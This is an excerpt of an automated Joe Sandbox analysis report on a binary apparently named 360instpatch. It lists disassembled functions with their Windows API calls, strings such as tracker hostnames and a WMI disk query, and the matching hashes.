Part of subcall function 6BEFAE3C: KiUserExceptionDispatcher.NTDLL(406D1388,00000000,00000004,00001000,6BF78AA8,00000018,6BF2E73E,00000000), ref: 6BEFAE6F

_memset.LIBCMT ref: 6BF11DF3
GetTickCount.KERNEL32 ref: 6BF11DFB

Part of subcall function 6BF0DF99: WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BF0DFA1

GetTickCount.KERNEL32 ref: 6BF11E1A
GetTickCount.KERNEL32 ref: 6BF11E2A

Part of subcall function 6BF23FED: _memset.LIBCMT ref: 6BF24020
Part of subcall function 6BF23FED: wvnsprintfW.SHLWAPI(?,000003FF,?,00007148), ref: 6BF2403B

GetTickCount.KERNEL32 ref: 6BF11E57
GetTickCount.KERNEL32 ref: 6BF11E63
SetEvent.KERNEL32(?), ref: 6BF11E9E

Strings

[TaskScheduler] type:%d, taskid:%d, cost:%dms, queue:%d., xrefs: 6BF11E41
[TaskScheduler] OnTimer cost:%dms, queue:%d., xrefs: 6BF11E74
p2sp.TaskScheduler, xrefs: 6BF11DC1

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountTick$_memset$CurrentDispatcherEventExceptionH_prolog3ObjectSingleThreadUserWaitwvnsprintf
String ID: [TaskScheduler] OnTimer cost:%dms, queue:%d.$[TaskScheduler] type:%d, taskid:%d, cost:%dms, queue:%d.$p2sp.TaskScheduler
API String ID: 1333431131-1132454424
Opcode ID: 4bcbd4ddd8c0212a3fd1ebec64d06b13f6d4fd4d66da9abb75e0e807f5f0e487
Instruction ID: 47810cdb5457885cff9dc2f0215bf101e72173193bb4b1c193d116937e5573b9
Opcode Fuzzy Hash: 4bcbd4ddd8c0212a3fd1ebec64d06b13f6d4fd4d66da9abb75e0e807f5f0e487
Instruction Fuzzy Hash: 84214D73D1022AAFCF40DFF4C941B9EBBF5BF18214F104556E511E6160E779AA148BA2

Function 6BF368EC Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 297COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6BF368F3

Part of subcall function 6BF33A17: GetTickCount.KERNEL32 ref: 6BF33A23

Part of subcall function 6BF361A2: GetTickCount.KERNEL32 ref: 6BF36230
Part of subcall function 6BF361A2: GetTickCount.KERNEL32 ref: 6BF362BB

GetTickCount.KERNEL32 ref: 6BF36914
GetTickCount.KERNEL32 ref: 6BF369D2
htonl.WS2_32(?), ref: 6BF36A32
htonl.WS2_32(00000000), ref: 6BF36A53
GetTickCount.KERNEL32 ref: 6BF36ABD
htonl.WS2_32(00000000), ref: 6BF36C21

Strings

agt.p.360.cn, xrefs: 6BF36978
[change tracker ip]: udp: %s ,tcpproxy:%s %d, xrefs: 6BF36A8F
[Use Tcp tracker Proxy] %s:%d, xrefs: 6BF36C51
tr.p.360.cn, xrefs: 6BF3694E

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountTick$htonl$H_prolog3
String ID: [Use Tcp tracker Proxy] %s:%d$[change tracker ip]: udp: %s ,tcpproxy:%s %d$agt.p.360.cn$tr.p.360.cn
API String ID: 559081447-3200203581
Opcode ID: cf6402f7a2d2c75051245f9547a4c7041608dd37e550b64426304942a48054ec
Instruction ID: 53d94e183842691377ab0226cfaa5df66d290382ac38a9ee1c952a8fe933dcde
Opcode Fuzzy Hash: cf6402f7a2d2c75051245f9547a4c7041608dd37e550b64426304942a48054ec
Instruction Fuzzy Hash: 8AC1AE32504626AFDB14CF74C895BAAB3B2FF45304F14455DE46A5B2B0DB38B945CBA0

Function 00B822E0 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 208comCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B822E7
CoCreateInstance.OLE32(00BDC868,00000000,00000001,00BDC798,?,0000002C,00B845AD,?,?,?,?,?,?,?,?,?), ref: 00B82305
SysFreeString.OLEAUT32(?), ref: 00B82364
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00B82389
SysFreeString.OLEAUT32(?), ref: 00B82405
SysFreeString.OLEAUT32(?), ref: 00B8240A
VariantClear.OLEAUT32(?), ref: 00B82460

Strings

MediaType, xrefs: 00B82472
SELECT * FROM MSFT_PhysicalDisk WHERE DeviceId='%d', xrefs: 00B823A6
WQL, xrefs: 00B823D0
Root\Microsoft\Windows\Storage, xrefs: 00B8232D

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: FreeString$BlanketClearCreateH_prolog3InstanceProxyVariant
String ID: MediaType$Root\Microsoft\Windows\Storage$SELECT * FROM MSFT_PhysicalDisk WHERE DeviceId='%d'$WQL
API String ID: 2951287799-4271271752
Opcode ID: ec7227d4155acfc48441219a1e6fbfff7a6568637e474ae12d0eaa367ed792ae
Instruction ID: 7d40f1a42687e2fcf899e9d4ff6c17d458b9a2bef1ad87561b38dd616e4afd8a
Opcode Fuzzy Hash: ec7227d4155acfc48441219a1e6fbfff7a6568637e474ae12d0eaa367ed792ae
Instruction Fuzzy Hash: E3714B71900249EFDF01DFE4C895AADBBF8EF48304F2444A9F615AB2A1C7759E45CB21

Function 00B7E7DF Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 116fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B7E7FE

Part of subcall function 00B3ECB6: __EH_prolog3.LIBCMT ref: 00B3ECBD

Part of subcall function 00B7E697: __EH_prolog3.LIBCMT ref: 00B7E69E

_memset.LIBCMT ref: 00B7E887
CreateFileW.KERNEL32(00000000,00120116,00000002,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,0000002C), ref: 00B7E8D9
_wcslen.LIBCMT ref: 00B7E8EA
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,0000002C), ref: 00B7E901
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,0000002C), ref: 00B7E925
DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,0000002C), ref: 00B7E92E

Strings

%s\%s.tf, xrefs: 00B7E8B8

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: FileH_prolog3$CloseCreateDeleteHandleWrite_memset_wcslen
String ID: %s\%s.tf
API String ID: 3257772056-3749842194
Opcode ID: bdf32af999b7a9eece5edec689ed83ed2f5ae965c4ecd18db233aa7d0e4d6a25
Instruction ID: 388478cf0f0b8482554d94e72564169a094ffdbcb090902ded35bea76dab257a
Opcode Fuzzy Hash: bdf32af999b7a9eece5edec689ed83ed2f5ae965c4ecd18db233aa7d0e4d6a25
Instruction Fuzzy Hash: D8416371900148ABDF25EFA4DC46EFE7BF8EF48310F0441A9F529A7291DB70AA44CB61

Function 6BF27367 Relevance: 16.6, APIs: 11, Instructions: 97registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,?,00000000,00000010,?), ref: 6BF27390

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8c3abe1428435b7abac3e4db419699603a013c85a3faf7b20bb94d7bead02ef3
Instruction ID: 1b13b6bb1b4bc1f9d12e29abf0c08a8d8a04be3f3c282bcb86bc7583222fde04
Opcode Fuzzy Hash: 8c3abe1428435b7abac3e4db419699603a013c85a3faf7b20bb94d7bead02ef3
Instruction Fuzzy Hash: 8B316A73210302EFEB205FA6CC88E57BBE9FF56711B108869F95A81170C7759CA8DB20

Function 00B7A2D7 Relevance: 16.6, APIs: 11, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,?,?,?,?,00B7A3CA,?,00000000,?), ref: 00B7A2E7
SizeofResource.KERNEL32(?,00000000,?,?,?,?,00B7A3CA,?,00000000,?), ref: 00B7A301
LoadResource.KERNEL32(?,00000000,?,?,?,?,00B7A3CA,?,00000000,?), ref: 00B7A311
LockResource.KERNEL32(00000000,?,?,?,?,00B7A3CA,?,00000000,?), ref: 00B7A318
GlobalAlloc.KERNEL32(00000000,00000000,?,?,?,?,00B7A3CA,?,00000000,?), ref: 00B7A327
GlobalFree.KERNEL32(00000000), ref: 00B7A349

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: Resource$Global$AllocFindFreeLoadLockSizeof
String ID:
API String ID: 3537612842-0
Opcode ID: 02e84ad4c7140579fa6696b4d66a3caf6b542acc63162b6e09ac137004b679ce
Instruction ID: 1e8d9b86dab45035faf7522d2dd32ce1c3d15dfd28b31a603a00394f11057fc5
Opcode Fuzzy Hash: 02e84ad4c7140579fa6696b4d66a3caf6b542acc63162b6e09ac137004b679ce
Instruction Fuzzy Hash: FD217131100214EFDB122F609C8CCAF3BADFFC97503158864F829D7120EB35DD509A66

Function 00B80691 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 140fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B806B0
PathFileExistsW.SHLWAPI(?,00000010), ref: 00B806CC
_memset.LIBCMT ref: 00B8070A

Part of subcall function 00B56DCF: _vswprintf_s.LIBCMT ref: 00B56E02

Part of subcall function 00B6D71E: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000C), ref: 00B6D74A
Part of subcall function 00B6D71E: GetFullPathNameW.KERNEL32(?,00000104,?,00000000,0000018E,?,?,?,?,?,?,?,?,?,?,0000000C), ref: 00B6D767
Part of subcall function 00B6D71E: SetLastError.KERNEL32(0000007B,?,?,?,?,?,?,?,?,?,?,0000000C), ref: 00B6D77A

RemoveDirectoryW.KERNEL32(?,?), ref: 00B8083D

Part of subcall function 00B6EE1E: __EH_prolog3.LIBCMT ref: 00B6EE25

_memset.LIBCMT ref: 00B807B9
_memset.LIBCMT ref: 00B807FA
DeleteFileW.KERNEL32(?,?,?,?,?,?,00000010,?,?), ref: 00B80821

Strings

%s\*.*, xrefs: 00B80710
%s\%s, xrefs: 00B8073F, 00B807CE, 00B8080F

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: File_memset$H_prolog3Path$DeleteDirectoryErrorExistsFindFirstFullLastNameRemove_vswprintf_s
String ID: %s\%s$%s\*.*
API String ID: 1543874411-1665845743
Opcode ID: 00762d88372a071d710df8b83237fceb886d058d2633606556d967ee8badf2b9
Instruction ID: fea5d431c2ad591f080c012e7d56f1649e71f07163c35107f7861e2d5e001155
Opcode Fuzzy Hash: 00762d88372a071d710df8b83237fceb886d058d2633606556d967ee8badf2b9
Instruction Fuzzy Hash: 83512E7191028EABDF60EFA4CC45BEF77ECEF18704F404469B91997252EB34A608CB65

Function 6BEF55CE Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 125COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6BEF55D5
GetLastError.KERNEL32(00000000,6BF0B438,00000000,?,?,6BF0C3E5,?,00000007,?), ref: 6BEF5643

Part of subcall function 6BF2405E: _memset.LIBCMT ref: 6BF24091
Part of subcall function 6BF2405E: wvnsprintfW.SHLWAPI(?,000003FF,6BFCC288,6BF0E1F9), ref: 6BF240AC

Strings

[%d.] ErrorCode =%d,StartDownload, xrefs: 6BEF56A3
[%d.] ErrorCode =%d,, xrefs: 6BEF5650
[%d.%3d] AsyncStartDownload from %I64d to %I64d HttpNum = %d , xrefs: 6BEF56F2
[%d.] , xrefs: 6BEF55EB

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ErrorH_prolog3Last_memsetwvnsprintf
String ID: [%d.%3d] AsyncStartDownload from %I64d to %I64d HttpNum = %d $[%d.] $[%d.] ErrorCode =%d,$[%d.] ErrorCode =%d,StartDownload
API String ID: 2481933832-1659077646
Opcode ID: 103b33ac9558f176dd69dc220d53607528699bf63ea4a26b7bda7e0e4d7c4327
Instruction ID: 9e5d0e8ff7c06d23378db5283202a5631649e9764c3a44afb120abcbd8b27a97
Opcode Fuzzy Hash: 103b33ac9558f176dd69dc220d53607528699bf63ea4a26b7bda7e0e4d7c4327
Instruction Fuzzy Hash: A3513E72904701EFDB51CFB8C881B867BE5FF18314F108629E96D8B2A1D736A561CFA1

Function 6BEE9657 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 97fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?), ref: 6BEE96B6
GetTickCount.KERNEL32 ref: 6BEE96C0
MoveFileW.KERNEL32(?,?), ref: 6BEE96DE
GetLastError.KERNEL32 ref: 6BEE96E4

Strings

[%d.] RenameFile file(%s) already exist, xrefs: 6BEE96EE
[%d.] MoveFile fail, error code is %d, xrefs: 6BEE971C
%s.%u, xrefs: 6BEE96CB

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: File$CountDeleteErrorLastMoveTick
String ID: %s.%u$[%d.] MoveFile fail, error code is %d$[%d.] RenameFile file(%s) already exist
API String ID: 804011810-1231871111
Opcode ID: c558f82eea39be37a152d85dd7252eb725c8fa7d1a88f039168af1eb40bde10b
Instruction ID: bcb618a7cf4443b55376ba6b429889467c752e7b21f2d288882f23078582d55a
Opcode Fuzzy Hash: c558f82eea39be37a152d85dd7252eb725c8fa7d1a88f039168af1eb40bde10b
Instruction Fuzzy Hash: 7331D137500201ABDB205FB8CC44FAE77F8FB16708F20456DE552E22A1EB39E4168B71

Function 00B78657 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B7867B
_memset.LIBCMT ref: 00B7868C
GetVersionExW.KERNEL32(?,?,?,?,?,?,00000000), ref: 00B786A1
GetVersionExW.KERNEL32(?,?,?,?,?,?,00000000), ref: 00B786B2
GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo,?,?,?,?,?,00000000), ref: 00B786C2
GetProcAddress.KERNEL32(00000000), ref: 00B786C9
GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,00000000), ref: 00B786D7

Strings

kernel32.dll, xrefs: 00B786BD
GetNativeSystemInfo, xrefs: 00B786B8

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: Version_memset$AddressHandleInfoModuleNativeProcSystem
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 675204089-192647395
Opcode ID: 8b6b52824af3135d6cc757cd48bcb625b9f595e065ca7ba7e53358df4c0e21e5
Instruction ID: 1b0a93b179b4e4ee69e8c42d7a5696fed0e966eff99ca99b8c1906eef75d4670
Opcode Fuzzy Hash: 8b6b52824af3135d6cc757cd48bcb625b9f595e065ca7ba7e53358df4c0e21e5
Instruction Fuzzy Hash: 67114C71D40258ABDF20ABE49C49FAE7BE8BB08708F0045AAE525E7180EF74D5098A65

Function 00B7A6F2 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B7A71F
_memset.LIBCMT ref: 00B7A72D
GetTempPathW.KERNEL32(00000400,?,?,00000000,000000CE,DLL,00000014,00B2BCDE), ref: 00B7A741
_memset.LIBCMT ref: 00B7A754

Part of subcall function 00B512A8: _memset.LIBCMT ref: 00B512EC
Part of subcall function 00B512A8: CoCreateGuid.OLE32(?,?,?,00000800), ref: 00B512F8
Part of subcall function 00B512A8: _memset.LIBCMT ref: 00B51309
Part of subcall function 00B512A8: _wcsncpy.LIBCMT ref: 00B5135F

PathCombineW.SHLWAPI(?,?,?), ref: 00B7A784
_wcscat.LIBCMT ref: 00B7A796
PathFileExistsW.SHLWAPI(?), ref: 00B7A7A4

Strings

.tmp, xrefs: 00B7A790

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: _memset$Path$CombineCreateExistsFileGuidTemp_wcscat_wcsncpy
String ID: .tmp
API String ID: 2935203105-2986845003
Opcode ID: 6aed1e22f67f5e85cbd8cb51e7949d959214440a3d70b442575c582d19045893
Instruction ID: a680c677ca0ead8294c044d02633bd6048f339896361d3f4a55653e9e0980d53
Opcode Fuzzy Hash: 6aed1e22f67f5e85cbd8cb51e7949d959214440a3d70b442575c582d19045893
Instruction Fuzzy Hash: 082145B690021C6BDB14DBA4DD85EDE77FCEB89705F0004F6B319D3141EA74EA458B60

Function 6BF304D7 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 65registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BF304FB
GetModuleHandleW.KERNEL32(00000000,?,00000000,?,00000001), ref: 6BF30528
RegisterClassExW.USER32(00000030), ref: 6BF3054C
GetModuleHandleW.KERNEL32(00000000,00000000,?,00000000,?,00000001), ref: 6BF30554
CreateWindowExW.USER32(00000000,360AsyncHelper,360AsyncHelper,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000), ref: 6BF30566
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 6BF30573

Strings

360AsyncHelper, xrefs: 6BF30534, 6BF30563, 6BF30564
0, xrefs: 6BF30511

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: HandleModuleWindow$ClassCreateLongRegister_memset
String ID: 0$360AsyncHelper
API String ID: 845610114-1673954876
Opcode ID: 81a0515f83f06bfcbb849c3a450c37ee2ae3bf39c5a356453be83d6585194ddf
Instruction ID: 02f4a6ad91fd2cf2f7d5b659668c3b6ded9c64ef65b0ce19666d618de727e566
Opcode Fuzzy Hash: 81a0515f83f06bfcbb849c3a450c37ee2ae3bf39c5a356453be83d6585194ddf
Instruction Fuzzy Hash: 21110AB2C01218ABDB109F9AD848E9FFEFCEF95750B10455EE415E2260D77455058BA1

Function 6BF2FF7E Relevance: 13.8, APIs: 9, Instructions: 287networkCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 6BF2FFAB
WSAGetLastError.WS2_32(4004667F,?), ref: 6BF30063
WSAGetLastError.WS2_32(4004667F,?), ref: 6BF3009F
DefWindowProcW.USER32(?,?,?,?), ref: 6BF3028A

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ErrorLastWindow$LongProc
String ID:
API String ID: 2699195558-0
Opcode ID: 44492a33a680f0e936d9867719593487a38b1434ebcecfa68bb5f531423ac779
Instruction ID: fef9c930bf21c55256d92b43a4cd24ef183e2dc1626daee70b345c0a30ce88bd
Opcode Fuzzy Hash: 44492a33a680f0e936d9867719593487a38b1434ebcecfa68bb5f531423ac779
